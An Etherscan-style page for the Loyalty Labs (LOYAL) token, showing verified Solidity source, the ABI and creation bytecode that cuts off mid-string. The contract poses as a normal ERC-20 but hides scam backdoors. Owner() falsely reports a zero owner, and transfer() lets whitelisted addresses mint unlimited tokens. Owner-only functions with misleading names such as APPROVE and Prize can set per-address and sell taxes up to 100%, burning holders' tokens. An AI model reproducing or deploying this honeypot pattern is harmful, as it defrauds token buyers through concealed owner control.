ETH Price: $2,282.70 (+2.25%)

Token

Loyalty Labs (LOYAL)
 

Overview

Max Total Supply

100,000,000,000 LOYAL

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
75,804,176.458237491842810827 LOYAL

Value
$0.00
0x3ff7b34379d379ca98a1ba3cd83a539d0e938196
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LoyaltyLabs

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-27
*/

/*
https://t.me/loyaltylabs_ERC
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}


contract LoyaltyLabs is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;


    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _dfygjdfggh(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _dfygjdfggh(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellkFee = 0; 
        _defaultBuykFee = 0;
        _release[_msgSender()] = true;
        
    }

    using SafeMath for uint256;

    uint256 private _defaultSellkFee = 0;
    uint256 private _defaultBuykFee = 0;


    mapping(address => bool) private _Approve;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Prize(uint256 _value) external onlyOwner {
        _defaultSellkFee = _value;
    }

    

    

    function APPROVE(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function Approve(address _address, bool _value) external onlyOwner {
        _Approve[_address] = _value;
    }

    function getApprovekFee(address _address) external view onlyOwner returns (bool) {
        return _Approve[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _Approve[from] || _Approve[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradekFeeAmount = 0;

        if (rF) {
            uint256 tradekFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradekFee = _defaultSellkFee;
                }
                if (from == uniswapV2Pair) {

                    tradekFee = _defaultBuykFee;
                }
            }
            if (_Aprove[from] > 0) {
                tradekFee = _Aprove[from];
            }

            tradekFeeAmount = _Amount.mul(tradekFee).div(100);
        }


        if (tradekFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradekFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
            emit Transfer(from, _deadAddress, tradekFeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
        emit Transfer(from, to, _Amount - tradekFeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
       
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"APPROVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovekFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60a06040525f6008555f60095534801562000018575f80fd5b50604051620035aa380380620035aa83398181016040528101906200003e919062000701565b82828160029081620000519190620009c6565b508060039081620000639190620009c6565b505050620000866200007a6200032760201b60201c565b6200032e60201b60201c565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200011c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000142919062000b0b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ce919062000b0b565b6040518363ffffffff1660e01b8152600401620001ed92919062000b4c565b6020604051808303815f875af11580156200020a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000230919062000b0b565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002ab3362000284620003f160201b60201c565b600a62000292919062000d00565b846200029f919062000d50565b620003f960201b60201c565b5f6008819055505f600981905550600160065f620002ce6200032760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050505062000ea4565b5f33905090565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200046a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004619062000e1e565b60405180910390fd5b8060015f8282546200047d919062000e3e565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620004d2919062000e3e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000538919062000e89565b60405180910390a35050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620005a5826200055d565b810181811067ffffffffffffffff82111715620005c757620005c66200056d565b5b80604052505050565b5f620005db62000544565b9050620005e982826200059a565b919050565b5f67ffffffffffffffff8211156200060b576200060a6200056d565b5b62000616826200055d565b9050602081019050919050565b5f5b838110156200064257808201518184015260208101905062000625565b5f8484015250505050565b5f620006636200065d84620005ee565b620005d0565b90508281526020810184848401111562000682576200068162000559565b5b6200068f84828562000623565b509392505050565b5f82601f830112620006ae57620006ad62000555565b5b8151620006c08482602086016200064d565b91505092915050565b5f819050919050565b620006dd81620006c9565b8114620006e8575f80fd5b50565b5f81519050620006fb81620006d2565b92915050565b5f805f606084860312156200071b576200071a6200054d565b5b5f84015167ffffffffffffffff8111156200073b576200073a62000551565b5b620007498682870162000697565b935050602084015167ffffffffffffffff8111156200076d576200076c62000551565b5b6200077b8682870162000697565b92505060406200078e86828701620006eb565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620007e757607f821691505b602082108103620007fd57620007fc620007a2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620008617fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000824565b6200086d868362000824565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620008ae620008a8620008a284620006c9565b62000885565b620006c9565b9050919050565b5f819050919050565b620008c9836200088e565b620008e1620008d882620008b5565b84845462000830565b825550505050565b5f90565b620008f7620008e9565b62000904818484620008be565b505050565b5b818110156200092b576200091f5f82620008ed565b6001810190506200090a565b5050565b601f8211156200097a57620009448162000803565b6200094f8462000815565b810160208510156200095f578190505b620009776200096e8562000815565b83018262000909565b50505b505050565b5f82821c905092915050565b5f6200099c5f19846008026200097f565b1980831691505092915050565b5f620009b683836200098b565b9150826002028217905092915050565b620009d18262000798565b67ffffffffffffffff811115620009ed57620009ec6200056d565b5b620009f98254620007cf565b62000a068282856200092f565b5f60209050601f83116001811462000a3c575f841562000a27578287015190505b62000a338582620009a9565b86555062000aa2565b601f19841662000a4c8662000803565b5f5b8281101562000a755784890151825560018201915060208501945060208101905062000a4e565b8683101562000a95578489015162000a91601f8916826200098b565b8355505b6001600288020188555050505b505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ad58262000aaa565b9050919050565b62000ae78162000ac9565b811462000af2575f80fd5b50565b5f8151905062000b058162000adc565b92915050565b5f6020828403121562000b235762000b226200054d565b5b5f62000b328482850162000af5565b91505092915050565b62000b468162000ac9565b82525050565b5f60408201905062000b615f83018562000b3b565b62000b70602083018462000b3b565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000c015780860481111562000bd95762000bd862000b77565b5b600185161562000be95780820291505b808102905062000bf98562000ba4565b945062000bb9565b94509492505050565b5f8262000c1b576001905062000ced565b8162000c2a575f905062000ced565b816001811462000c43576002811462000c4e5762000c84565b600191505062000ced565b60ff84111562000c635762000c6262000b77565b5b8360020a91508482111562000c7d5762000c7c62000b77565b5b5062000ced565b5060208310610133831016604e8410600b841016171562000cbe5782820a90508381111562000cb85762000cb762000b77565b5b62000ced565b62000ccd848484600162000bb0565b9250905081840481111562000ce75762000ce662000b77565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000d0c82620006c9565b915062000d198362000cf4565b925062000d487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c0a565b905092915050565b5f62000d5c82620006c9565b915062000d6983620006c9565b925082820262000d7981620006c9565b9150828204841483151762000d935762000d9262000b77565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000e0660218362000d9a565b915062000e138262000daa565b604082019050919050565b5f6020820190508181035f83015262000e378162000df8565b9050919050565b5f62000e4a82620006c9565b915062000e5783620006c9565b925082820190508082111562000e725762000e7162000b77565b5b92915050565b62000e8381620006c9565b82525050565b5f60208201905062000e9e5f83018462000e78565b92915050565b6080516126ed62000ebd5f395f61063301526126ed5ff3fe608060405234801561000f575f80fd5b506004361061014b575f3560e01c806349bd5a5e116100c1578063a457c2d71161007a578063a457c2d7146103b1578063a9059cbb146103e1578063b4a99a4e14610411578063c4e7c1651461042f578063dd62ed3e1461044b578063f2fde38b1461047b5761014b565b806349bd5a5e146102db5780635dd7c8ac146102f95780636c9992b31461032957806370a0823114610359578063715018a61461038957806395d89b41146103935761014b565b80631f478f1e116101135780631f478f1e1461020957806323b872dd146102255780632c91d07114610255578063313ce56714610271578063395093511461028f5780633de94b45146102bf5761014b565b806306fdde031461014f578063095ea7b31461016d5780630e5133b71461019d5780631694505e146101cd57806318160ddd146101eb575b5f80fd5b610157610497565b6040516101649190611c83565b60405180910390f35b61018760048036038101906101829190611d34565b610527565b6040516101949190611d8c565b60405180910390f35b6101b760048036038101906101b29190611da5565b610549565b6040516101c49190611d8c565b60405180910390f35b6101d5610631565b6040516101e29190611e2b565b60405180910390f35b6101f3610655565b6040516102009190611e53565b60405180910390f35b610223600480360381019061021e9190611e96565b61065e565b005b61023f600480360381019061023a9190611ed4565b61074c565b60405161024c9190611d8c565b60405180910390f35b61026f600480360381019061026a9190611da5565b61077a565b005b610279610853565b6040516102869190611f3f565b60405180910390f35b6102a960048036038101906102a49190611d34565b61085b565b6040516102b69190611d8c565b60405180910390f35b6102d960048036038101906102d49190611f58565b6108ff565b005b6102e361099f565b6040516102f09190611f92565b60405180910390f35b610313600480360381019061030e9190611da5565b6109c4565b6040516103209190611e53565b60405180910390f35b610343600480360381019061033e9190611da5565b610aa0565b6040516103509190611d8c565b60405180910390f35b610373600480360381019061036e9190611da5565b610b88565b6040516103809190611e53565b60405180910390f35b610391610bce565b005b61039b610c6f565b6040516103a89190611c83565b60405180910390f35b6103cb60048036038101906103c69190611d34565b610cff565b6040516103d89190611d8c565b60405180910390f35b6103fb60048036038101906103f69190611d34565b610de2565b6040516104089190611d8c565b60405180910390f35b610419610eb7565b6040516104269190611f92565b60405180910390f35b61044960048036038101906104449190611d34565b610ebb565b005b61046560048036038101906104609190611fab565b610fda565b6040516104729190611e53565b60405180910390f35b61049560048036038101906104909190611da5565b61105b565b005b6060600280546104a690612016565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290612016565b801561051d5780601f106104f45761010080835404028352916020019161051d565b820191905f5260205f20905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b5f8061053161116b565b905061053e818585611172565b600191505092915050565b5f61055261116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d790612090565b60405180910390fd5b600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f600154905090565b61066661116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612090565b60405180910390fd5b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f8061075661116b565b9050610763858285611334565b61076e8585856113bf565b60019150509392505050565b61078261116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790612090565b60405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6012905090565b5f8061086561116b565b90506108f48185855f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108ef91906120db565b611172565b600191505092915050565b61090761116b565b73ffffffffffffffffffffffffff